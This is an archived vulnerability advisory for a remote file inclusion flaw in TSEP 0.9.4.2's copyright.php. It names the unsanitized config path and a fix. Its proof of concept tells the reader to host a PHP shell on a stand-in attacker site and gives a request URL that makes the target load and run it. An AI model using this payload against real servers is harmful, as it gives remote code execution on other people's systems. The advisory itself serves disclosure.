TUCoPS :: HP Unsorted T :: b06-3976.htm

Tsep 0.9.4.2 <= remote file inclusion
TSEP 0.9.4.2 <= Remote File Inclusion
TSEP 0.9.4.2 <= Remote File Inclusion



+--------------------------------------------------------------------
+
+ TSEP 0.9.4.2
+
+--------------------------------------------------------------------
+
+ Affected Software .: TSEP 0.9.4.2
+ Venedor ...........: http://www.tsep.info/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code /include/copyright.php:
+
+ .....
+ 
+ .....
+
+--------------------------------------------------------------------
+
+ $tsep_config["absPath"] is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Include config-File in copyright.php
+
+--------------------------------------------------------------------
+
+ PoC:
+ Place a PHPShell on a remote location:
+ http://evilsite.com/include/tsepversion.txt
+
+ http://[target]/include/copyright.php?tsep_config[absPath]=http://evilsite.com?cmd=ls
+
+--------------------------------------------------------------------
+
+ Greets:
+ Krini Gonzales (5 YEARS :P)
+
+-------------------------[ E O F ]----------------------------------

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH